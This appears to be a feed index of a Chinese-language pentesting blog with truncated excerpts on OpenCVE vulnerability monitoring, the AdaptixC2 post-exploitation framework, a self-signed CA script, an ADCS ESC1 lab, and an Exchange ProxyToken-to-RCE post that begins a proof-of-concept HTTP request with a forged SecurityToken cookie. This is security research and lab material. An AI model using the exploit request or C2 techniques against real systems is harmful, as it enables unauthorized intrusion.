https://zero-winter.github.io/A blog about pentesting with a focus on Windows security research. 2026-07-31T18:43:18+02:00 zero-winter https://zero-winter.github.io/ Jekyll © 2026 zero-winter /assets/img/favicons/favicon.ico /assets/img/favicons/favicon-96x96.png 2026-07-19T12:24:45+02:00 2026-07-19T14:30:43+02:00 https://zero-winter.github.io/%E6%BC%8F%E6%B4%9E%E7%9B%91%E6%B5%8B%E9%A2%84%E8%AD%A6/ zero-winter

漏洞监测预警 前言: 甲方修复漏洞数据源不统一，依赖社交环境同步漏洞信息；可能造成时间差或遗漏 安装: 技术预研 -> https://github.com/CVEProject/cvelistV5/tree/main/cves -> OpenCVE -> Docker部署 OpenCVE 官方安装文档: 部署文档 配置说明: OS: Debian 11/12 or equivalent (also tested on similar Linux distributions) Docker​: v25.0.x or later with the Docker Compose V2 plugin (docker compose) Git​: required only to clone the repository (not us...

2026-02-08T00:00:00+01:00 2026-02-09T08:33:20+01:00 https://zero-winter.github.io/AdaptixC2%E5%AD%A6%E4%B9%A0/ zero-winter

AdaptixC2 学习 AdaptixC2 是一个可扩展的后渗透和对抗模拟框架，专为渗透测试人员设计。Adaptix 服务器采用 Golang 编写，以提供操作人员所需的灵活性。 GUI 客户端采用 C++ QT 编写，使其能够在 Linux、Windows 和 macOS 操作系统上运行。 参考文档 借鉴Coblat Strike 设计理念 非常值得学习的文档示例 官方文档 Type 平台支持 语言 架构 TeamServer macos/Linux/Windows go arm/amd agent macos/Linux/W...

2026-01-20T00:00:00+01:00 2026-01-20T00:00:00+01:00 https://zero-winter.github.io/C-S-%E9%85%8D%E7%BD%AE%E8%AF%81%E4%B9%A6%E4%BF%A1%E4%BB%BB%E8%AE%BF%E9%97%AE/ zero-winter

通过自签证书实现C/S架构的信任访问，是一种独立于公共证书颁发机构（CA）的安全构建方案。它通过在服务器端生成专属的证书与私钥，并在客户端显式地信任该证书，从而在双方之间建立加密的TLS/SSL通信通道。此方案的核心价值在于为内部或测试环境提供了可控、低成本的安全保障，通过严格的证书验证机制，既实现了通信数据的加密传输与完整性保护，也完成了服务器身份的强认证，从根本上防御了网络窃听与中间人攻击。 auther: 3inter.net CA 管理器脚本 #!/bin/bash # ============================================ # CA 管理器脚本 # 版本: 4.2 # 功能：创建根CA、签发客户端证书 # 加密标准：RSA 3072, SHA-512 # ==================================...

2025-09-28T00:00:00+02:00 2025-09-28T00:00:00+02:00 https://zero-winter.github.io/ProxyToken-Gaget-to-RCE/ zero-winter

ProxyToke Gaget To RCE 版本要求 Exchange2013 <= 15.0.1497.2 POC： GET /ecp/administrator@adsec.local/PersonalSettings/HomePage.aspx?showhelp=false HTTP/1.1 Host: ex01.adsec.local Cookie: SecurityToken=x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xm...

2025-09-25T00:00:00+02:00 2025-09-25T00:00:00+02:00 https://zero-winter.github.io/ADCS%E7%AF%87-ESC1/ zero-winter

ESC1 参考: ESC1 搭建: 角色 IP 系统信息 DC01 192.168.198.10 win2019x64-10.0.17763 暂缺 Build 17763 CA01 192.168.198.20 win2019x64-10.0.17763 暂缺 Build 17763 IT01 192.168.198.115 win10x64-10.0.18363 暂缺 Build 18363 搭建 dc 中规中矩 略 搭建域内工作机器 略 搭建配置不当 ESC1 环境 ...